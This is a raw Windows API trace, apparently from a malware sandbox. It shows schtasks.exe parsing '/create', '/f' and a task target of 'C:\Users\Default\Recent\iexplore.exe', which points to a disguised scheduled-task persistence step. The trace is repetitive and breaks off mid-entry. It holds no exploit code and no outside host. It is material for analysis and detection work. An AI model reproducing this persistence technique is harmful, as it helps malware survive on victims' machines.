[0151.719] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.719] lstrlenW (lpString="|rp|") returned 4 [0151.719] lstrlenW (lpString="|tr|") returned 4 [0151.719] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0151.719] SetLastError (dwErrCode=0x490) [0151.719] lstrlenW (lpString="sc") returned 2 [0151.719] lstrlenW (lpString="sc") returned 2 [0151.719] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.719] lstrlenW (lpString="tr") returned 2 [0151.719] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.719] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.719] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.719] lstrlenW (lpString="|sc|") returned 4 [0151.719] lstrlenW (lpString="|tr|") returned 4 [0151.719] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0151.719] SetLastError (dwErrCode=0x490) [0151.719] lstrlenW (lpString="mo") returned 2 [0151.719] lstrlenW (lpString="mo") returned 2 [0151.719] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.720] lstrlenW (lpString="tr") returned 2 [0151.720] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.720] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.720] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.720] lstrlenW (lpString="|mo|") returned 4 [0151.720] lstrlenW (lpString="|tr|") returned 4 [0151.724] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0151.724] SetLastError (dwErrCode=0x490) [0151.724] lstrlenW (lpString="d") returned 1 [0151.724] lstrlenW (lpString="d") returned 1 [0151.724] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.724] lstrlenW (lpString="tr") returned 2 [0151.724] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.724] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|d|") returned 3 [0151.724] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.724] lstrlenW (lpString="|d|") returned 3 [0151.724] lstrlenW (lpString="|tr|") returned 4 [0151.724] SetLastError (dwErrCode=0x490) [0151.724] lstrlenW (lpString="m") returned 1 [0151.724] lstrlenW (lpString="m") returned 1 [0151.724] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.725] lstrlenW (lpString="tr") returned 2 [0151.725] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.725] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|m|") returned 3 [0151.725] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.725] lstrlenW (lpString="|m|") returned 3 [0151.725] lstrlenW (lpString="|tr|") returned 4 [0151.725] SetLastError (dwErrCode=0x490) [0151.725] lstrlenW (lpString="i") returned 1 [0151.725] lstrlenW (lpString="i") returned 1 [0151.725] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.725] lstrlenW (lpString="tr") returned 2 [0151.725] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.725] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|i|") returned 3 [0151.725] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.725] lstrlenW (lpString="|i|") returned 3 [0151.725] lstrlenW (lpString="|tr|") returned 4 [0151.725] SetLastError (dwErrCode=0x490) [0151.726] lstrlenW (lpString="tn") returned 2 [0151.726] lstrlenW (lpString="tn") returned 2 [0151.726] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.726] lstrlenW (lpString="tr") returned 2 [0151.726] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.726] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.726] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.726] lstrlenW (lpString="|tn|") returned 4 [0151.726] lstrlenW (lpString="|tr|") returned 4 [0151.726] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0151.726] SetLastError (dwErrCode=0x490) [0151.726] lstrlenW (lpString="tr") returned 2 [0151.726] lstrlenW (lpString="tr") returned 2 [0151.726] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.727] lstrlenW (lpString="tr") returned 2 [0151.727] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.727] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.727] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.727] lstrlenW (lpString="|tr|") returned 4 [0151.727] lstrlenW (lpString="|tr|") returned 4 [0151.727] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0151.727] SetLastError (dwErrCode=0x0) [0151.757] SetLastError (dwErrCode=0x0) [0151.757] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.757] lstrlenW (lpString="-/") returned 2 [0151.757] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0151.757] SetLastError (dwErrCode=0x490) [0151.757] SetLastError (dwErrCode=0x490) [0151.757] SetLastError (dwErrCode=0x0) [0151.757] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.757] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0151.757] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.757] _memicmp (_Buf1=0x29d4e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.758] _memicmp (_Buf1=0x29d520, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.758] SetLastError (dwErrCode=0x7a) [0151.758] SetLastError (dwErrCode=0x0) [0151.758] SetLastError (dwErrCode=0x0) [0151.758] lstrlenW (lpString="'C") returned 2 [0151.758] lstrlenW (lpString="-/") returned 2 [0151.758] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0151.758] SetLastError (dwErrCode=0x490) [0151.758] SetLastError (dwErrCode=0x490) [0151.759] SetLastError (dwErrCode=0x0) [0151.759] _memicmp (_Buf1=0x29d540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.759] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.759] GetProcessHeap () returned 0x280000 [0151.759] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d560) returned 1 [0151.759] GetProcessHeap () returned 0x280000 [0151.759] RtlReAllocateHeap (Heap=0x280000, Flags=0xc, Ptr=0x29d560, Size=0x4e) returned 0x29dc70 [0151.759] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.759] lstrlenW (lpString=" \x09") returned 2 [0151.759] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0151.759] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0151.759] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0151.759] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0151.760] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0151.761] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.762] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0151.763] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0151.763] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0151.763] GetLastError () returned 0x0 [0151.763] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.763] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0151.763] SetLastError (dwErrCode=0x0) [0151.763] SetLastError (dwErrCode=0x0) [0151.763] lstrlenW (lpString="/f") returned 2 [0151.763] lstrlenW (lpString="-/") returned 2 [0151.763] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0151.763] lstrlenW (lpString="create") returned 6 [0151.763] lstrlenW (lpString="create") returned 6 [0151.763] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.764] lstrlenW (lpString="f") returned 1 [0151.764] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.764] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|create|") returned 8 [0151.764] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.764] lstrlenW (lpString="|create|") returned 8 [0151.764] lstrlenW (lpString="|f|") returned 3 [0151.764] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0151.764] SetLastError (dwErrCode=0x490) [0151.764] lstrlenW (lpString="?") returned 1 [0151.764] lstrlenW (lpString="?") returned 1 [0151.764] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.764] lstrlenW (lpString="f") returned 1 [0151.765] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.765] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|?|") returned 3 [0151.765] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.765] lstrlenW (lpString="|?|") returned 3 [0151.765] lstrlenW (lpString="|f|") returned 3 [0151.765] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0151.765] SetLastError (dwErrCode=0x490) [0151.765] lstrlenW (lpString="s") returned 1 [0151.765] lstrlenW (lpString="s") returned 1 [0151.765] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.765] lstrlenW (lpString="f") returned 1 [0151.765] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.766] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|s|") returned 3 [0151.766] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.766] lstrlenW (lpString="|s|") returned 3 [0151.766] lstrlenW (lpString="|f|") returned 3 [0151.766] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0151.766] SetLastError (dwErrCode=0x490) [0151.766] lstrlenW (lpString="u") returned 1 [0151.766] lstrlenW (lpString="u") returned 1 [0151.766] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.766] lstrlenW (lpString="f") returned 1 [0151.766] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.766] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|u|") returned 3 [0151.767] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.767] lstrlenW (lpString="|u|") returned 3 [0151.767] lstrlenW (lpString="|f|") returned 3 [0151.767] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0151.767] SetLastError (dwErrCode=0x490) [0151.767] lstrlenW (lpString="p") returned 1 [0151.767] lstrlenW (lpString="p") returned 1 [0151.767] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.767] lstrlenW (lpString="f") returned 1 [0151.767] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.767] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|p|") returned 3 [0151.767] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.768] lstrlenW (lpString="|p|") returned 3 [0151.768] lstrlenW (lpString="|f|") returned 3 [0151.768] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0151.768] SetLastError (dwErrCode=0x490) [0151.768] lstrlenW (lpString="ru") returned 2 [0151.768] lstrlenW (lpString="ru") returned 2 [0151.768] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.768] lstrlenW (lpString="f") returned 1 [0151.768] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.768] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ru|") returned 4 [0151.769] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.769] lstrlenW (lpString="|ru|") returned 4 [0151.769] lstrlenW (lpString="|f|") returned 3 [0151.769] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0151.769] SetLastError (dwErrCode=0x490) [0151.769] lstrlenW (lpString="rp") returned 2 [0151.769] lstrlenW (lpString="rp") returned 2 [0151.769] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.769] lstrlenW (lpString="f") returned 1 [0151.769] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.770] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|rp|") returned 4 [0151.770] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.770] lstrlenW (lpString="|rp|") returned 4 [0151.770] lstrlenW (lpString="|f|") returned 3 [0151.770] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0151.770] SetLastError (dwErrCode=0x490) [0151.770] lstrlenW (lpString="sc") returned 2 [0151.770] lstrlenW (lpString="sc") returned 2 [0151.770] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.770] lstrlenW (lpString="f") returned 1 [0151.771] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.771] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sc|") returned 4 [0151.771] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.771] lstrlenW (lpString="|sc|") returned 4 [0151.771] lstrlenW (lpString="|f|") returned 3 [0151.771] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0151.771] SetLastError (dwErrCode=0x490) [0151.771] lstrlenW (lpString="mo") returned 2 [0151.771] lstrlenW (lpString="mo") returned 2 [0151.771] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.772] lstrlenW (lpString="f") returned 1 [0151.772] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.772] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|mo|") returned 4 [0151.772] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.772] lstrlenW (lpString="|mo|") returned 4 [0151.772] lstrlenW (lpString="|f|") returned 3 [0151.772] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0151.772] SetLastError (dwErrCode=0x490) [0151.772] lstrlenW (lpString="d") returned 1 [0151.772] lstrlenW (lpString="d") returned 1 [0151.772] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.772] lstrlenW (lpString="f") returned 1 [0151.773] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.773] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|d|") returned 3 [0151.773] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.773] lstrlenW (lpString="|d|") returned 3 [0151.773] lstrlenW (lpString="|f|") returned 3 [0151.773] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0151.773] SetLastError (dwErrCode=0x490) [0151.773] lstrlenW (lpString="m") returned 1 [0151.773] lstrlenW (lpString="m") returned 1 [0151.773] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.773] lstrlenW (lpString="f") returned 1 [0151.773] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.774] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|m|") returned 3 [0151.774] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.774] lstrlenW (lpString="|m|") returned 3 [0151.774] lstrlenW (lpString="|f|") returned 3 [0151.774] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0151.774] SetLastError (dwErrCode=0x490) [0151.774] lstrlenW (lpString="i") returned 1 [0151.774] lstrlenW (lpString="i") returned 1 [0151.774] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.774] lstrlenW (lpString="f") returned 1 [0151.774] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.774] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|i|") returned 3 [0151.775] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.775] lstrlenW (lpString="|i|") returned 3 [0151.775] lstrlenW (lpString="|f|") returned 3 [0151.775] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0151.775] SetLastError (dwErrCode=0x490) [0151.775] lstrlenW (lpString="tn") returned 2 [0151.775] lstrlenW (lpString="tn") returned 2 [0151.775] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.775] lstrlenW (lpString="f") returned 1 [0151.775] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.775] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tn|") returned 4 [0151.775] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.775] lstrlenW (lpString="|tn|") returned 4 [0151.776] lstrlenW (lpString="|f|") returned 3 [0151.776] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0151.776] SetLastError (dwErrCode=0x490) [0151.776] lstrlenW (lpString="tr") returned 2 [0151.776] lstrlenW (lpString="tr") returned 2 [0151.776] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.776] lstrlenW (lpString="f") returned 1 [0151.776] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.776] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|tr|") returned 4 [0151.776] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.777] lstrlenW (lpString="|tr|") returned 4 [0151.777] lstrlenW (lpString="|f|") returned 3 [0151.777] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0151.777] SetLastError (dwErrCode=0x490) [0151.777] lstrlenW (lpString="st") returned 2 [0151.777] lstrlenW (lpString="st") returned 2 [0151.777] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.777] lstrlenW (lpString="f") returned 1 [0151.777] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.777] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|st|") returned 4 [0151.778] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.778] lstrlenW (lpString="|st|") returned 4 [0151.778] lstrlenW (lpString="|f|") returned 3 [0151.778] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0151.778] SetLastError (dwErrCode=0x490) [0151.778] lstrlenW (lpString="sd") returned 2 [0151.778] lstrlenW (lpString="sd") returned 2 [0151.778] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.778] lstrlenW (lpString="f") returned 1 [0151.778] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.779] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|sd|") returned 4 [0151.779] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.779] lstrlenW (lpString="|sd|") returned 4 [0151.779] lstrlenW (lpString="|f|") returned 3 [0151.779] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0151.779] SetLastError (dwErrCode=0x490) [0151.779] lstrlenW (lpString="ed") returned 2 [0151.779] lstrlenW (lpString="ed") returned 2 [0151.779] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.779] lstrlenW (lpString="f") returned 1 [0151.779] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.779] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|ed|") returned 4 [0151.779] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.780] lstrlenW (lpString="|ed|") returned 4 [0151.780] lstrlenW (lpString="|f|") returned 3 [0151.780] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0151.780] SetLastError (dwErrCode=0x490) [0151.780] lstrlenW (lpString="it") returned 2 [0151.780] lstrlenW (lpString="it") returned 2 [0151.780] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.780] lstrlenW (lpString="f") returned 1 [0151.780] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.780] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|it|") returned 4 [0151.780] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.781] lstrlenW (lpString="|it|") returned 4 [0151.781] lstrlenW (lpString="|f|") returned 3 [0151.781] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0151.781] SetLastError (dwErrCode=0x490) [0151.781] lstrlenW (lpString="et") returned 2 [0151.781] lstrlenW (lpString="et") returned 2 [0151.781] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.781] lstrlenW (lpString="f") returned 1 [0151.781] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.781] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|et|") returned 4 [0151.781] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|f|") returned 3 [0151.781] lstrlenW (lpString="|et|") returned 4 [0151.781] lstrlenW (lpString="|f|") returned 3 [0151.782] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0151.782] SetLastError (dwErrCode=0x490) [0151.782] lstrlenW (lpString="k") returned 1 [0151.782] lstrlenW (lpString="k") returned 1 [0151.782] _memicmp (_Buf1=0x29c180, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.782] lstrlenW (lpString="f") returned 1 [0151.782] _memicmp (_Buf1=0x29c1c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0151.782] _vsnwprintf (in: _Buffer=0x29c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc368 | out: _Buffer="|k|") returned 3 [0151.782] _vsnwprintf (in: _Buffer=0x29c1e0, _BufferCount=0x4, _Format="|%s|", 